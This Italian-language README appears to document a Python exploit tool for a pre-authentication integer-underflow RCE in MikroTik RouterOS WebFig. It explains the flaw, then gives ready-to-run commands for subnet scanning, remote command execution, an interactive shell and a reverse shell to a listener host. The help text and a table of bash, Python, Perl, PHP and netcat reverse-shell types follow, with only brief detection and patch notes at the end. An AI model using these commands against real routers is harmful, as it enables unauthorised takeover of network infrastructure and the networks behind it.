
Exploit Python per CVE-2026-84411, un integer underflow pre-autenticazione in MikroTik RouterOS WebFig che consente RCE, con scansione, esecuzione di comandi e reverse shell.
CVE-2026-84411 è una vulnerabilità critica di Remote Code Execution (RCE) pre-autenticazione in MikroTik RouterOS.
| Campo | Valore |
|---|---|
| CVSS v3 | 9.8 (Critico) |
| CWE | CWE-191: Integer Underflow |
| Vettore di attacco | Rete |
| Autenticazione | Nessuna (Pre-Auth) |
| Impatto | RCE completo come root / DoS |
| Affette | RouterOS < 7.24 |
| Corretta | RouterOS 7.24+ |
Il servizio di gestione web (WebFig, in ascolto su TCP/80 e TCP/443) contiene un integer underflow nella gestione del corpo delle richieste HTTP. Una singola richiesta HTTP appositamente craftata — inviata senza effettuare il login — può mandare in crash il servizio o consentire l'esecuzione di codice arbitrario con privilegi completi.
L'underflow si verifica quando il parser calcola una lunghezza del corpo con una validazione insufficiente, permettendo al valore di scendere sotto zero e andare in underflow fino a diventare un intero senza segno molto grande. Le operazioni di memoria che si fidano di questa lunghezza corrotta (copie, allocazioni, controlli dei limiti) si comportano quindi in modo catastrofico.
# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1
# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check
# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"
# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive
# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444
# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt
# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24
# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells
usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
[--check] [--shell LHOST LPORT] [--cmd COMMAND]
[--interactive] [--list-shells]
[--lhost LHOST] [--lport LPORT] [-v]
[--timeout TIMEOUT] [--no-color]
CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit
options:
-h, --help show this help message
-t, --target TARGET Target URL or host (e.g., http://192.168.88.1)
-i, --input INPUT_FILE
File with targets (one per line)
--range CIDR IP range to scan (CIDR notation)
--check Run full exploit check
--shell LHOST LPORT Spawn reverse shell
--cmd COMMAND Execute single command
--interactive Interactive shell session
--list-shells List available reverse shell types
--lhost LHOST Listener host for reverse shell
--lport LPORT Listener port for reverse shell
-v, --verbose Verbose output
--timeout TIMEOUT Request timeout in seconds (default: 10)
--no-color Disable ANSI colours
Lo strumento utilizza quattro metodi di rilevamento:
Content-Length molto più grande della dimensione effettiva del bodyContent-Length negativi per attivare l'underflowContent-Length corrispondente| Tipo | Comando |
|---|---|
bash | Reverse shell bash standard |
python | Reverse shell Python 2 |
python3 | Reverse shell Python 3 |
perl | Reverse shell Perl |
php | Reverse shell PHP |
nc | Reverse shell Netcat |
targets.txt — un target per riga:
http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com
Il segnale a più alta affidabilità è qualsiasi connessione alle porte di gestione web di RouterOS (TCP/80, TCP/443) da un'origine che non sia un host di gestione noto.
Consulta il post del blog Security Arsenal per le regole Sigma: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide
Aggiorna a RouterOS 7.24 o versione successiva.
Solo per test di sicurezza autorizzati.
Port in Python basato sul PoC in Go di Gagaltotal666 / GhostGTR666.